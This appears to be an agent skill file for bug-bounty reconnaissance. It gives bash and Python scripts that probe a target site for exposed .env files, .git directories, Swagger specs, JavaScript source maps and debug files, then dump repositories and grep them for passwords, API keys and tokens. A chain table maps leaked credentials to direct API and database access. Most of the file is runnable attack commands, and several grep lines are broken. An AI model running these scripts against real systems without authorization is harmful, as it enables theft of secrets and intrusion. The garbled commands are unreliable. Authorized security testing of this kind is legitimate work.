| name | hunt-source-leak |
| description | Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface. |
| sources | hackerone_public, offensive_research |
| report_count | 31 |
HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
Crown Jewel Targets
Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
Highest-value findings:
.js.map source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
swagger.json / openapi.json — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
.env / .env.production — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
.git/ exposure — git clone the entire source history → all past hardcoded secrets
asset-manifest.json / _next/static/ — all JS bundle paths → systematic source map discovery
build-info / info.json — git commit hash, build timestamp, dependency versions → CVE targeting
Phase 1 — Quick Wins (Run First)
for PATH in \
"/.env" \
"/.env.production" \
"/.env.local" \
"/.git/HEAD" \
"/swagger.json" \
"/api/swagger.json" \
"/v1/swagger.json" \
"/openapi.json" \
"/api/openapi.json" \
"/api-docs"; do
STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] HIT: https://$TARGET$PATH"
head -5 /tmp/sl_test
echo "---"
fi
done
Phase 2 — Source Map Discovery
Always resolve the CURRENT build hash before testing, and again before
re-verifying. Bundle filenames are content-hashed, so they rotate on every
deploy. A .map URL recorded yesterday can 404 today while the map is still
fully exposed under a new name. A 404 at the old URL is not remediation —
it is a new build.
HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
"https://$TARGET/static/js/${HASH}.map"
Lesson from an authorized engagement. A large production map was found at
main.<hashA>.js.map. On re-verification that URL returned a small HTML
soft-404 and the finding was nearly closed as fixed. The bundle had rotated to
main.<hashB>.js — and the map was still published at main.<hashB>.js.map,
same size. Nothing had been remediated.
Tell the client this explicitly in the report: redeploying does not fix source
map exposure. Only GENERATE_SOURCEMAP=false (or stripping .map at deploy)
plus a CDN purge closes it. A team that redeploys and re-checks the old link
will wrongly declare victory.
Same rule applies to any content-hashed artifact: chunk files, CSS maps,
asset-manifest.json, and staging equivalents.
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
if content:
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as f:
f.write(content)
print(f'[+] Extracted: {src}')
"
grep -r /tmp/sourcemap_extract/ 2>/dev/null
grep -r /tmp/sourcemap_extract/ 2>/dev/null | grep -v | -20
grep -r /tmp/sourcemap_extract/ 2>/dev/null | -20
Phase 3 — Swagger / OpenAPI Discovery
SWAGGER_PATHS=(
"/swagger.json" "/swagger.yaml" "/swagger/"
"/api/swagger.json" "/api/swagger.yaml"
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
"/openapi.json" "/openapi.yaml"
"/api/openapi.json" "/api-docs" "/api-docs.json"
"/api/v1/swagger.json" "/api/v2/swagger.json"
"/rest/swagger.json" "/rest/api-docs"
"/.well-known/openapi.json"
"/graphql/schema.json"
)
for PATH in "${SWAGGER_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH"
python3 -c "
import sys, json
try:
d = json.load(open('/tmp/swagger_test'))
paths = list(d.get('paths', {}).keys())
print(f'Endpoints: {len(paths)}')
print('\n'.join(sorted(paths)))
except: pass
" | head -50
fi
done
Phase 4 — .git Exposure
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
cd /tmp/dumped-repo && \
git log --all --oneline 2>/dev/null | head -20
git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
Phase 5 — Forgotten Files & Debug Endpoints
DEBUG_PATHS=(
"/build-info.json" "/build/build-info.json"
"/info" "/actuator/info" "/api/info"
"/version" "/api/version" "/_version"
"/health" "/status" "/ping"
"/robots.txt" "/security.txt" "/.well-known/security.txt"
"/sitemap.xml" "/manifest.json" "/browserconfig.xml"
"/crossdomain.xml" "/clientaccesspolicy.xml"
"/phpinfo.php" "/info.php" "/test.php"
"/server-status" "/server-info" "/.htaccess"
"/web.config" "/applicationHost.config"
"/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
"/package.json" "/composer.json" "/Gemfile"
"/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)
for PATH in "${DEBUG_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo
-3 /tmp/debug_test
Phase 6 — .DS_Store File Listing
curl -s "https://$TARGET/.DS_Store" | xxd | head -10
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
for entry in d:
print(entry.filename)
"
python3 ds_store_exp.py "https://$TARGET/"
Phase 7 — webpack Chunk Analysis
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
echo "Analyzing: $chunk"
curl -s "https://$TARGET$chunk" | \
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done
curl -s "https://$TARGET/static/js/main.*.js" | \
grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
curl -s "https://$TARGET/static/js/main.*.js" | \
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64"
done
Chain Table
| Source leak finding | Chain to | Impact |
|---|
| Source map with API key | Use key directly → API access | High/Critical |
| Source map with auth logic | Find auth bypass route | Critical |
| Swagger → internal endpoints | Test undocumented admin routes | High |
| .git exposed | Full source history → all past secrets | Critical |
| build-info with git hash | CVE targeting exact version | High |
| .env with DB_PASSWORD | Direct database access | Critical |
Tools
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/
npm install -g source-map-explorer
source-map-explorer main.js
npm install -g unwebpack-sourcemap
trufflehog filesystem /tmp/repo/
Validation
✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets
✅ Swagger: JSON contains internal endpoints not visible in UI
✅ .git exposed: git-dumper successfully clones repo, secrets in history
✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext
Severity:
- .env with credentials: Critical
- .git with secrets in history: Critical
- Source map with secrets: High
- Swagger with internal routes: Medium-High
- robots.txt only: Informational